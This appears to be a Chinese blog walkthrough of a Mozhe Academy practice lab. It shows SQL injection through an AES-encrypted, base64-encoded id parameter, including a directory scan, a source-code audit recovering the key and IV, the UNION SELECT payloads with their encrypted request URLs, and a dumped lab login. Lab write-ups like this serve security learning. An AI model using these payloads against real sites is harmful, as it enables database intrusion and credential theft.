• 渗透学习—靶场篇—墨者学院—SQL注入漏洞测试(参数加密)


    文章目录


    打开靶场,发现在登录框下方有一个可以点击的地方:
    在这里插入图片描述

    此处,点击后我们就可以发现一个新的页面了!!然后我们在这个页面中呢,我们仔细观察以下url的特征,发现其是利用id= xxx 进行查询的, 因此通过以往进行判断,这里就很可能存在着注入点:
    在这里插入图片描述

    具体来看一下这里的参数:

    ?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09
    
    • 1

    根据这个格式,盲猜可能是base64 :

    Base64编码,是由64个字符组成编码集:26个大写字母AZ,26个小写字母az,10个数字0~9,符号“+”与符号“/”

    于是我们进行解码看看:

    第一次解码:

    在这里插入图片描述

    第二次:

    在这里插入图片描述

    发现直接使用解码不太行啊。。。

    根据这个格式呢,我们联想到也有可能是AES,但如果是AES的话,需要密钥才能解密。。。 因此,这里进行目录扫描一下看看是否有其余的文件?
    在这里插入图片描述

    然后我们就发现了一个list的压缩包,我们下载下来看看,就发现里面藏着对应的源代码:
    +在这里插入图片描述

    那么就让我们来分析一下:
    0、首先,一眼看出这里使用的是AES加密算法 128位 采用CBC模式;
    1、然后对应图中的1处,代表的是AES的密钥;
    2、代表的是偏移量;
    3 、4 、代表使用了两次的base64
    5、 这里要重点说明一下(因为一开始我其实没发现这里,导致一直注入失败!!!!)
    这里的意思是将会进行判断我们传入的参数的后六位是否有_mozhe 如果没有则肢解跳转会index.php页面

    除此,之外下面的$sql 变量还写入了进行查询的sql语句。。。

    通过进行上述的代码审计我们能够轻松并快了的进行注入了!

    我们先来解码验证一下刚刚我们分析的,使用网站为:AES加解密
    该AES的加解密设置如下图:
    在这里插入图片描述

    先进行一次base64解码:

    ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09 ==> eII8c3JeL0t0dxM7wb3Nzg==
    
    • 1

    然后再放入网站中:
    在这里插入图片描述

    okok。验证没错!!

    至此,我们将利用此过程进行sql注入,具体步骤如下:
    先写好sql语句 ==> base64编码 >放入AES加解密网站进行加密(此时由于网站自己会再进行一次base64的编码的)> 放入id 之后进行传参即可:

    拿显示的列数:

    (这里为什么后面加了个_mozhe,请看上文的分析)

    1 order by 4_mozhe
    
    • 1

    在这里插入图片描述

    http://124.70.71.251:42181/news/list.php?id=Nk90Tmw2QzFmZXR2TzE3SW5FTlZMelZoM296M21teXJqbzNnVDFRbXVmVT0=
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    经过多次尝试,发现列的数量就是4!!!

    拿表:

    -1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()_mozhe
    
    • 1

    在这里插入图片描述

    ?id=eGdkNThpcFRybng4VnpTQkppY3FDamtLbjk5ZUsvTkV5cEY5bjBSUGJEK0phT2xlanlibVFQMnZUUDNib1VlVjM4QVNvTU1Lb29pV1VpK3JUS29RdHgxbFFMNUhCTjlvRk5DNndJZjdNSnZTRFlKdjhLVHRTTVZrWHBQMlk5NWp6SnVhY3lVd2l5eE51bnpUYzFWYkRXVllDM1c5UEUxSFUxb2hSaVprTk9rPQ==
    
    • 1

    在这里插入图片描述

    拿段:

    -1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'_mozhe
    
    • 1

    在这里插入图片描述

    ?id=eGdkNThpcFRybng4VnpTQkppY3FDamtLbjk5ZUsvTkV5cEY5bjBSUGJEOFlaZjExMXovODJUaTF2R1JEMVFwbjl3Mkk2N1BrSE8wNnd1aExrcDVMM0kwMEY1c01iRzlCZUtzTlExT0l0d1Ywc2JmcDdPZnFZeFNnRkVwYmRBbVhNNDhTUmcyMmJUOWJqV203eXVST1RNdnpBeklPWnlnUkxOdDlOWENIbHlZPQ==
    
    • 1

    在这里插入图片描述

    拿数据:

    -1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member_mozhe
    
    • 1

    在这里插入图片描述

    ?id=eGdkNThpcFRybng4VnpTQkppY3FDcktrNkQ2cFlZbEZQUFFiOWpHYlZrUmMwS3U0V1ZRVDZVZ0ZEMjBEZHBVYUsvYTdlT0sxam5vQWJETjFvOTRLSGVzWGcyNUFtUDgzalVweklDRG0zSWdOWTJNUkw5UFNpTHJ3dWdJSjlsNFc=
    
    • 1

    在这里插入图片描述

    解密数据:
    在这里插入图片描述
    在这里插入图片描述

    登录:

    mozhe
    863861

    在这里插入图片描述

    成功拿到!!!


    总结

    这一关,难点主要在于需要我们判断参数后的加解密类型,从而引导我们去目录遍历,拿到对应的源码!!!
    然后呢,还需要我们能够对php代码进行审计,从而找出其参数的加密过程。。

    其中还有一个坑在于末尾要加上_mozhe

    总体而言,感觉难度还是稍有的(于我个人而言)

  • 相关阅读:
    计算机毕业设计Python+djang企业it资产管理系统(源码+系统+mysql数据库+Lw文档)
    决策树算法中处理噪音点
    编译报错:Manifest merge failed : Attribute application@appComponentFactory
    win10蓝屏0xc000021a怎么修复?
    Android—Surface,BufferQueue
    TCP/IP学习
    怎么看出 Java 的 Comparator是升序还是降序
    PHP反序列化链分析
    初识Cpp之 一、基础知识
    国际油气公司数字化转型探析
  • 原文地址:https://blog.csdn.net/qq_43696276/article/details/127521931